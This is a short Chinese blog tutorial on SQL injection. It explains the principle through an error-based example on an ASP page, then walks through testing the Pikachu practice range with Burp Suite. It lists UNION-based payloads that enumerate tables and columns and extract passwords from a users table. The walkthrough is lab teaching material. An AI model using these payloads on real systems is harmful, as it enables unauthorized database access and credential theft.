pikachu之sql注入(1)

所谓SQL注入(SQL Injection),就是利用程序员对用户输入数据的合法性检测不严或不检测的特点,

故意从客户端提交特殊的代码,从而收集程序及服务器的信息,从而获取想得到的资料。

  相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,

使应用程序存在安全隐患。如这是一个正常的网址http://localhost/lawjia/show.asp?ID=444,

将这个网址提交到服务器后,服务器将进行类似Select * from 表名 where 字段="&ID的查询(ID即客户端提交的参数,本例是即444),

再将查询结果返回给客户端,如果这里客户端故意提交这么一个网址:

  http://localhost/lawjia/show.asp?ID=444 and user>0,

这时,服务器运行Select * from 表名 where 字段=444 and user>0这样的查询,当然,这个语句是运行不下去的,肯定出错,错误信息如下:

  ·错误类型:

Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)
[Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'sonybb' 转换为数据类型为 int 的列时发生语法错误。
/lawjia/show.asp, 第 47 行

  但是别有用心的人从这个出错信息中,可以获得以下信息:该站使用MS_SQL数据库,用ODBC连接,连接帐号名为:sonybb。

这就是sql注入的原理及实现。

下面,我们开始利用pikachu靶场试验sql注入。

 

 随便选取数字,

利用bp抓包,看抓到的东西,放到Repeater中观察,

是否存在注入点,

 

 发现存在注入点(不存在账号,存在漏洞)

Id=2 and 1=2 Union select 1,group_concat(table_name) from information_schema.tables where table_schema =database()
Id=2 and 1=2 union select1, group_concat(column_name) from information_schema.columns where table_name='表名'
id=2 and 1=2 union select 1,group_concat( password) from users where id=2

  利用上述代码,在抓到包后,修改id后的信息(利用代码修改),之后发包,看页面信息。

这样便成功了,执行了sql注入。

posted @ 2020-08-12 12:12  ccddddddddd  阅读(138)  评论(0编辑  收藏  举报